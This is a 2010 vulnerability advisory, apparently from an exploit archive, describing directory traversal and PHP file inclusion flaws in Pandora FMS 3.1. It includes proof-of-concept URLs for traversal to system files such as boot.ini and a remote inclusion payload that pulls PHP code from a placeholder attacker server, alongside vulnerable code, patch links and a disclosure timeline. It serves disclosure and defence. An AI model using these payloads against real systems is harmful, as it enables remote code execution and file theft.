Skip to content
cyberexploits
webappphptext

Pandora Fms 3.1 - Directory Traversal / Local File Inclusion

Pandora Fms 3.1 - Directory Traversal / Local File Inclusion

Published on 2010-11-30

Source code

Pinned to commit 7eac4c3a2ce5
textplatforms/php/webapps/15643.txt7eac4c3a
raw
[+] Introduction



Pandora FMS (for Pandora Flexible Monitoring System) is a software

solution for monitoring computer networks. It allows monitoring in a

visual way the status and performance of several parameters from

different operating systems, servers, applications and hardware systems

such as firewalls, proxies, databases, web servers or routers.



It can be deployed in almost any operating system. It features remote

monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use

agents. An agent is available for each platform. It can also monitor

hardware systems with a TCP/IP stack, such as load balancers, routers,

network switches, printers or firewalls.



This software has several servers that process and get information from

different sources, using WMI for gathering remote Windows information, a

predictive server, a plug-in server which makes complex user-defined

network tests, an advanced export server to replicate data between

different sites of Pandora FMS, a network discovery server, and an SNMP

Trap console.



Released under the terms of the GNU General Public License, Pandora FMS

is free software.



5) Path Traversal:



5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) -

CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10



Parameter 'page' of ajax.php is not properly sanitizing user-supplied

input. The function safe_url_extraclean is filtering ':' character, and

it doesn't allow to use the string "http://"; to create urls, but allows

'/' character and an attacker could reference remote resources via

Windows UNC files, using //servername//resource/file



Note that the first check in safe_url_extraclean is filtering '://', so

we can bypass the filter easily doing http://http://url, and it only

strip the first protocol://. However, the last preg_replace strips the :

character.



Proof of concept:



UNC: http://servername/pandora_console/ajax.php?page=//server/share/test



As well, ajax.php allows to include any php file in the disk



filesystem:

http://servername/pandora_console/ajax.php?page=../../../../../directory/file



Character %00 is not allowed due safe_url_extraclean function filtering,

and is not possible to include other files distinct that php files, but

still allows . and / characters.





5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283

- - CVSS 7.9/10



An attacker can inject arbitrary PHP code and execute it remotely due

argv[1] parameter is not filtered in file pandora_diag.php.



PoC:

http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00



Note: that issue needs register_globals set to On to be exploitable.





5.3 - Path traversal & Local file inclusion vulnerabilities -

CVE-2010-4282 - CVSS 6.8/10



An attacker can include arbitrary files of the filesystem via id

parameter in file pandora_help.php.





Snippet of vulnerable code:



 24 $id = get_parameter ('id');

 25

 26 /* Possible file locations */

 27 $files = array

($config["homedir"]."/include/help/".$config["language"]."/help_".$id.".php",

 28

$config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]."/help_".$id.".php",

 29

$config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php",

 30         $config["homedir"]."/include/help/en/help_".$id.".php");

 31 $help_file = '';

 32 foreach ($files as $file) {

 33         if (file_exists ($file)) {

 34                 $help_file = $file;

 35                 break;

 36         }

 37 }

...

 62 require_once ($help_file);





Proof of concept:



http://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00



This code is platform dependent bug, you can read more at

http://seclists.org/fulldisclosure/2010/Jul/137

Only works in windows systems, an attacker can include local file using

../ characters due parameter id is not filtered

If magic_quotes_gpc is Off, arbitrary files can be included, like

boot.ini using NULL character (%00), if not, only php files are allowed





5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282

- - CVSS 8.0/10



In file operation/agentes/networkmap.php the 'layout' parameter is

handled in an insecure way and it is used to write and delete files on

the filesystem.

An attacker could use this parameter to write in arbitrary paths and

even remove files.



Snippet of vulnerable code:



32 $layout = (string) get_parameter ('layout', 'radial');

...

137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;

138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;

139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;

...

157         $fh = @fopen ($filename_dot, 'w');

158         if ($fh === false) {

159                 $result = false;

160         } else {

161                 fwrite ($fh, $graph);

162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng

- -o".$filename_img." ".$filename_dot;

163                 $result = system ($cmd);

164                 fclose ($fh);

165                 unlink ($filename_dot);

166         }

...

178         require ($filename_map);





Character sequences '../' could be used to write files (due -o parameter

in lines 162 and 163), as well as potentially remove files (line 157,

161 and 165) or include them (line 178)

As well like in 5.3 this issue is only exploitable in windows

environments because the same reason.





[+] Impact



An attacker can execute commands of the operating system, inject remote

code in the context of the application, get arbitrary files from the

filesystem or extract any data of the database including passwords and

confidential information about the monitored network/systems. Also it is

possible to bypass the authentication or scale privileges to became

admin, gaining full control of the web application and web server. These

vulnerabilities have a high impact to the confidentiality, integrity,

and availability of the system.





[+] Systems affected



Versions prior and including 3.1 of Pandora FMS are affected





[+] Solution



Apply the security fix for version 3.1:

http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download





Or upgrade to version 3.1.1 from

http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/





[+] Timeline



Ago 2010: First contact to vendor

Ago 2010: Confirmation of vendor

Sept 2010: Second contact: SQL Injection vulnerabilities

Sept 2010: Confirmation that the fix will be released on October

Oct 2010: PandoraFMS security patch for 3.1 version released

Oct 2010: Request for CVE numbers

Nov 2010: PandoraFMS version 3.1.1 released

Nov 2010: Disclosure of this advisory





[+] References



Official PandoraFMS site: http://pandorafms.org/

SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/

Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS

Common Vulnerability Scoring System (CVSS) v2 calculator:

http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2

Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/





[+] Credits



These vulnerabilities has been discovered by Juan Galiana Lara -

@jgaliana - http://juangaliana.blogspot.com/



-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.10 (GNU/Linux)



iQIcBAEBAgAGBQJM9NctAAoJEJaV5RMdiDI7cTMP/jzyDB8hcuTGYy+hHnehx0Fy

YbVmWTMCUhIHZ6Y6ke1xLbFf0itFm/tMSvqC/20cAKC0x+QEmEVoSJPerT+Fc/3s

IVjIEMxBbaKNM6inAElng5BzC0MTOjI+njtpF7pmLaIFBy8C77+u/LNrSM7tucy9

WIx6ILVGSO0LY5vfgwdRAcJow6p/wn50U4Ur2XOVZ/X10Gbsb+9qMd4+q1d87Cw4

cC+mqTefLeP8FNh6PB2tJpdpQqJ3R2G8719fHgmDm/5SVBkoXZRhjHKokR9+wtzP

JPJWP3z1Zt+Wtn3+ANakDItBenbgafM2lMe0tkiy9LoQKMKepibLqOf9xfrKqTnP

8CRffcV8nLorGBoKk7UKVb3I14llt34cu+Vcx2+WgDz37hXV1iK7pufGuFxVVRE4

7etidHR9n7gO1WPbLmrKq4rrR02zhYnAHsGwjtFQId3ufRGSBTno3yNHFj1j0EvH

pARhwbRtjIiSk8JF3TjeTswGMpCIItpQ051K4Bcpbtzte7fX05CLoaF6xyJBJlS5

yNuxaBnGZYVOvUd+emosH+5ngW7Qk8/wXljx2OyVOu6ip75UZ277MRLBJvlq+NC4

oBllQOzv521fd5hkgYEQ8VZQgWCzbeRTuh+t4z+MUHKTQlcE2I0ba9C6xdn0nkZF

sn9vRJk4gc/PozOXDjC3

=WmOh

-----END PGP SIGNATURE-----

View on GitHub